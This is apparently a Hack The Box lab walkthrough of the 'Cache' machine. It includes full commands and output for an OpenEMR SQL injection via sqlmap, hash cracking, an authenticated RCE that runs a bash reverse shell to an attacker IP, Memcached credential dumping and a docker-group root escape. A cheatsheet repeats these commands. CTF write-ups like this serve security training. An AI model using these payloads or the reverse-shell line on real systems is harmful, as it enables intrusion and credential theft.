Hack The Box
Hack The Box: Cache Walkthrough
Cache chains client-side credential disclosure, an OpenEMR flaw, Memcached credentials, and Docker group membership.

We start with hardcoded credentials buried in a JavaScript file, pivot through a vulnerable OpenEMR patient portal, dump admin hashes with sqlmap, crack our way into an authenticated RCE, harvest credentials from an unauthenticated Memcached instance, and finally escape to root through the docker group.
Machine Overview
Name: Cache
OS: Linux (Ubuntu 18.04-era)
Difficulty: Medium
IP: 10.129.5.28
Attacker IP: 10.10.16.84
Attack Chain at a Glance:
Hardcoded JS creds on cache.htb (ash:H@v3_fun)
-> discover HMS virtual host (hms.htb)
-> OpenEMR 5.0.1 patient portal auth bypass
-> error-based SQL injection via add_edit_event_user.php
-> sqlmap dumps admin bcrypt hash
-> john cracks hash (xxxxxx)
-> authenticated OpenEMR RCE via 45161.py
-> shell as www-data
-> su to ash via password reuse
-> local Memcached on 11211 caches luffy:0n3_p1ec3
-> luffy is in docker group
-> docker run mounts host root -> root.txt
The Mindset Before the Shell
Before running any commands, keep these principles in mind:
1. Client-side code is ground truth. The server cannot hide what it sends to the browser. read source and JavaScript.
2. Anticipate virtual hosts. Modern web servers often host multiple applications behind different Host headers.
3. Fingerprint versions early. Knowing the exact software version turns blind fuzzing into targeted exploitation.
4. Side doors matter. Patient portals, APIs, and secondary interfaces often have weaker access control than the main admin panel.
5. Local services are soft targets. Memcached, Redis, and similar tools often ship without authentication.
6. Docker group equals root. If a user is in the docker group, you are usually one command away from a root shell.
Phase 1: Initial Enumeration
We add the host entries first. This is a lab environment, so no public DNS resolves cache.htb or hms.htb for us.
Echo "10.129.5.28 cache.htb hms.htb" | sudo tee -a /etc/hosts
Then we scan the target with the standard Nmap script and version combo:
Nmap -sC -sV -T4 10.129.5.28
The output is clean and minimal:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Only SSH and HTTP. No SMB, no FTP, no high ports. The path in is almost certainly through the web application.

Phase 2: Web Discovery on cache.htb
We visit http://cache.htb (lab-only address) and see a hacking-themed site with a login button. The rendered page does not give much away, so we look at the source and linked JavaScript files.

Curl -s http://cache.htb/jquery/functionality.js (lab-only address)
Inside, we find the login logic implemented entirely client-side:
Function checkCorrectPassword(){
var Password = $("#password").val();
if(Password!= 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username!= "ash"){
alert("Username didn't Match");
error_username = true;
}
}
The credentials are hardcoded: ash:H@v3_fun. Client-side authentication is not authentication. It is a suggestion at best.

After logging in, the site shows an under construction page. Manual browsing leads us to:
Http://cache.htb/author.html (lab-only address)
ASH's bio mentions another project: Cache HMS (Hospital Management System). This is our breadcrumb to a second application.

And the below is the cache.htb/author.

Phase 3: Virtual Host Discovery (hms.htb)
Because we already added hms.htb to /etc/hosts, we visit it directly.
Http://hms.htb (lab-only address)

It redirects to an OpenEMR login page:
Http://hms.htb/interface/login/login.php?site=default (lab-only address)
OpenEMR is a large, complex PHP health records application. Identifying the exact product immediately tells us to hunt for version-specific CVEs.
Phase 4: OpenEMR Enumeration & Version Identification
We fingerprint the version by checking admin.php and the login page footer, which references 2018. OpenEMR 5.0.1 was released in April 2018, so we target that version.
Curl -s http://hms.htb/admin.php (lab-only address) | grep -i "version\|openemr"

A quick searchsploit search confirms the target-rich environment:
Searchsploit openemr
Key findings:
- OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution (45161.py)
- OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions (45202.txt)
Both are authenticated. We need admin credentials first. The patient portal at /portal/ is the weaker side door.

Phase 5: Authentication Bypass & SQL Injection
Visit the patient portal:
Http://hms.htb/portal/ (lab-only address)

Instead of registering or logging in, we visit a page that should require authentication directly:
Http://hms.htb/portal/add_edit_event_user.php?eid=1 (lab-only address)
The portal grants a PHPSESSID session cookie from simply visiting the registration page, and certain endpoints treat that cookie as proof of authentication. A logic flaw becomes our bypass.
To confirm SQL injection, we append a single quote:
Http://hms.htb/portal/add_edit_event_user.php?eid=1' (lab-only address)
The response leaks a MySQL syntax error and the exact query:
Query Error
ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid, facility.name
FROM openemr_postcalendar_events
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility = facility.id)
WHERE pc_eid = 1'
Phase 6: Credential Extraction with sqlmap
We grab a valid session cookie and build a request file for sqlmap.
Curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php (lab-only address)"
Cat > openemr.req << 'EOF'
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
EOF
Echo "Cookie: $(grep -E 'OpenEMR|PHPSESSID' cookies.txt | awk '{print $6"="$7}' | tr '\n' '; ' | sed 's/; $//')" >> openemr.req
Then we dump the users_secure table:
Sqlmap -r openemr.req -D openemr -T users_secure - dump - batch
Output:
Database: openemr
Table: users_secure
[1 entry]
+ - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - -+
| id | salt | password | username |
+ - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - -+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin |
+ - - + - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - -+
We now have the admin username and a bcrypt hash.
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php"
[Full HTML response omitted after editorial review; the command and subsequent output are preserved.]
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ cat > openemr.req << 'EOF'GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1Host: hms.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1EOF
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ echo "Cookie: $(grep -E 'OpenEMR|PHPSESSID' cookies.txt | awk '{print $6"="$7}' | tr '\n' '; ' | sed 's/; $//')" >> openemr.req
┌──(kali㉿kali)-[~/Downloads/OSWE-Prep]
└─$ sqlmap -r openemr.req --flush-session -D openemr -T users_secure --dump --batch ___ __H__ ___ ___[)]_____ ___ ___ {1.10.4#stable}|_ -| . [(] | .'| . ||___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:47:49 /2026-06-17/[05:47:49]
[INFO] parsing HTTP request from 'openemr.req'[05:47:49]
[INFO] testing connection to the target URL[05:47:50]
[WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests[05:47:50]
[INFO] checking if the target is protected by some kind of WAF/IPS[05:47:50]
[INFO] testing if the target URL content is stable[05:47:51]
[INFO] target URL content is stable[05:47:51]
[INFO] testing if GET parameter 'eid' is dynamic[05:47:51]
[WARNING] GET parameter 'eid' does not appear to be dynamic[05:47:52]
[INFO] heuristic (basic) test shows that GET parameter 'eid' might be injectable (possible DBMS: 'MySQL')[05:47:53]
[INFO] testing for SQL injection on GET parameter 'eid'it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Yfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y[05:47:53]
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[05:47:54]
[WARNING] reflective value(s) found and filtering out[05:47:59]
[INFO] testing 'Boolean-based blind - Parameter replace (original value)'[05:48:00]
[INFO] GET parameter 'eid' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row")[05:48:00]
[INFO] testing 'Generic inline queries'[05:48:01]
[INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[05:48:02]
[INFO] GET parameter 'eid' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable [05:48:02]
[INFO] testing 'MySQL inline queries'[05:48:02]
[INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'[05:48:02]
[WARNING] time-based comparison requires larger statistical model, please wait........... (done) [05:48:09]
[INFO] testing 'MySQL >= 5.0.12 stacked queries'[05:48:09]
[INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'[05:48:10]
[INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'[05:48:11]
[INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'[05:48:11]
[INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'[05:48:12]
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'[05:48:23]
[INFO] GET parameter 'eid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [05:48:23]
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[05:48:23]
[INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[05:48:24]
[INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[05:48:27]
[INFO] target URL appears to have 4 columns in query[05:48:28]
[INFO] GET parameter 'eid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'eid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:---Parameter: eid (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: eid=(SELECT (CASE WHEN (4361=4361) THEN 1 ELSE (SELECT 6857 UNION SELECT 5313) END)) Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: eid=1 AND EXTRACTVALUE(6303,CONCAT(0x5c,0x71706b7171,(SELECT (ELT(6303=6303,1))),0x716a787a71)) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: eid=1 AND (SELECT 8380 FROM (SELECT(SLEEP(5)))HEtH) Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71706b7171,0x6d414c6f6945757153417058755853736665516f6e6d786270626c4e556c694c4f67705275474542,0x716a787a71),NULL-- ----[05:48:28]
[INFO] the back-end DBMS is MySQLweb server operating system: Linux Ubuntu 18.04 (bionic)web application technology: Apache 2.4.29back-end DBMS: MySQL >= 5.1[05:48:33]
[INFO] fetching columns for table 'users_secure' in database 'openemr'[05:48:34]
[INFO] fetching entries for table 'users_secure' in database 'openemr'
Database: openemr
Table: users_secure[1 entry]+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+| id | salt | password | username | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+[05:48:35]
[INFO] table 'openemr.users_secure' dumped to CSV file '/home/kali/.local/share/sqlmap/output/hms.htb/dump/openemr/users_secure.csv'[05:48:35]
[INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/hms.htb'
[*] ending @ 05:48:35 /2026-06-17/
Phase 7: Hash Cracking
We save the hash and crack it with John the Ripper using rockyou.txt.
Echo '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > hash.txt
john - wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Result:
Xxxxxx (?)
The password is extremely weak. Even bcrypt's slowness cannot protect a six-character common password.
Final OpenEMR credentials:
- Username: openemr_admin
- Password: xxxxxx

Phase 8: Authenticated Remote Code Execution
We fetch the authenticated RCE exploit:
Searchsploit -m php/webapps/45161.py
The exploit authenticates as openemr_admin, abuses a template import file-write flaw to drop a PHP web shell, then triggers it.
The exploit is written for Python 2, so we fix a bytes/string issue in Python 3:
Sed -i 's/base64.b64encode(args.cmd)/base64.b64encode(args.cmd.encode()).decode()/g' 45161.py

Start a listener:
Nc -lvnp 9001
Run the exploit with a bash reverse shell:
Python 45161.py -u openemr_admin -p xxxxxx -c "bash -i >& /dev/tcp/10.10.16.84/9001 0>&1" http://hms.htb (lab-only address)

We catch the shell:
Connect to [10.10.16.84] from (UNKNOWN) [10.129.5.28] 44898
bash: cannot set terminal process group (1997): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgrade to a proper TTY:
Python3 -c 'import pty; pty.spawn("/bin/bash")'

Phase 9: User Flag (www-data to ash)
We already have ash's password from the JavaScript login: H@v3_fun. Password reuse is human nature.
Su ash
cd ~
cat user.txt

Phase 10: Privilege Escalation Enumeration
We check local services and spot something interesting:
Netstat -antp | grep 11211
Tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
Port 11211 is Memcached. Given the box name is Cache, this is clearly part of the privilege escalation chain. Memcached stores key-value pairs in RAM and typically ships with no authentication.

Phase 11: Memcached Credential Harvesting
We dump the cached keys from slab 1:
Echo "stats cachedump 1 0" | nc -q 1 127.0.0.1 11211
Output:
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

The keys are literally named user and passwd. We retrieve them:
Echo "get user" | nc -q 1 127.0.0.1 11211
echo "get passwd" | nc -q 1 127.0.0.1 11211
echo "get account" | nc -q 1 127.0.0.1 11211
Output:
VALUE user 0 5
luffy
END
VALUE passwd 0 9
0n3_p1ec3
END
VALUE account 0 9
afhj556uo
END
New credentials: luffy:0n3_p1ec3

Phase 12: Docker Group Privilege Escalation to Root
We switch to luffy:
Su luffy
id
Output:
Uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

Luffy is in the docker group. On most Linux systems, that is root-equivalent. We check available images:
Docker images
Output:
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 6 years ago 64.2MB

There is no internet to pull alpine, but ubuntu is cached locally. We adapt the classic payload:
Docker run -v /:/mnt - rm -it ubuntu chroot /mnt sh
Breakdown:
- docker run: create and start a container
- -v /:/mnt: mount the host's root filesystem to /mnt inside the container
- - rm: delete the container on exit
- -it: interactive terminal
- ubuntu: use the locally cached Ubuntu image
- chroot /mnt sh: change root to the mounted host filesystem and run a shell
Result:
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Review notes
1. Client-side validation is not validation. Credentials in JavaScript are free wins.
2. Virtual hosts hide entire applications. Check for subdomains and vhosts.
3. Version fingerprinting saves time. Knowing the exact software version lets you find targeted exploits immediately.
4. Side doors matter. The patient portal had weaker security than the main admin panel.
5. Sqlmap is your friend. Don't hand-craft UNION queries when a tool can do it perfectly.
6. Password reuse is human nature. Test every credential everywhere.
7. Local services are soft targets. Memcached, Redis, and similar services often lack authentication.
8. The docker group is root. Check groups output. If you see docker, you are probably one command away from root.
Commands Cheatsheet
Host entries:
echo "10.129.5.28 cache.htb hms.htb" | sudo tee -a /etc/hosts
Port scan:
nmap -sC -sV -T4 10.129.5.28
Find hardcoded creds:
curl -s http://cache.htb/jquery/functionality.js (lab-only address)
Discover HMS vhost:
http://hms.htb/interface/login/login.php?site=default (lab-only address)
OpenEMR version fingerprint:
curl -s http://hms.htb/admin.php (lab-only address) | grep -i "version\|openemr"
Search exploits:
searchsploit openemr
Patient portal auth bypass:
http://hms.htb/portal/add_edit_event_user.php?eid=1 (lab-only address)
SQL injection confirmation:
http://hms.htb/portal/add_edit_event_user.php?eid=1' (lab-only address)
Sqlmap dump:
curl -s -c cookies.txt -b cookies.txt "http://hms.htb/portal/account/register.php (lab-only address)"
# build openemr.req with cookie header
sqlmap -r openemr.req -D openemr -T users_secure - dump - batch
Hash cracking:
echo '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > hash.txt
john - wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Authenticated RCE:
searchsploit -m php/webapps/45161.py
sed -i 's/base64.b64encode(args.cmd)/base64.b64encode(args.cmd.encode()).decode()/g' 45161.py
nc -lvnp 9001
python 45161.py -u openemr_admin -p xxxxxx -c "bash -i >& /dev/tcp/10.10.16.84/9001 0>&1" http://hms.htb (lab-only address)
TTY upgrade:
python3 -c 'import pty; pty.spawn("/bin/bash")'
User flag:
su ash
# password: H@v3_fun
cat ~/user.txt
Memcached enumeration:
netstat -antp | grep 11211
echo "stats cachedump 1 0" | nc -q 1 127.0.0.1 11211
echo "get user" | nc -q 1 127.0.0.1 11211
echo "get passwd" | nc -q 1 127.0.0.1 11211
Docker escape to root:
su luffy
# password: 0n3_p1ec3
docker images
docker run -v /:/mnt - rm -it ubuntu chroot /mnt sh
cat /root/root.txt
What the chain shows
The route depends on several smaller weaknesses: exposed client-side credentials, a virtual host, the patient portal flaw, unauthenticated Memcached, and Docker group membership. Together they provide a direct path from anonymous access to root.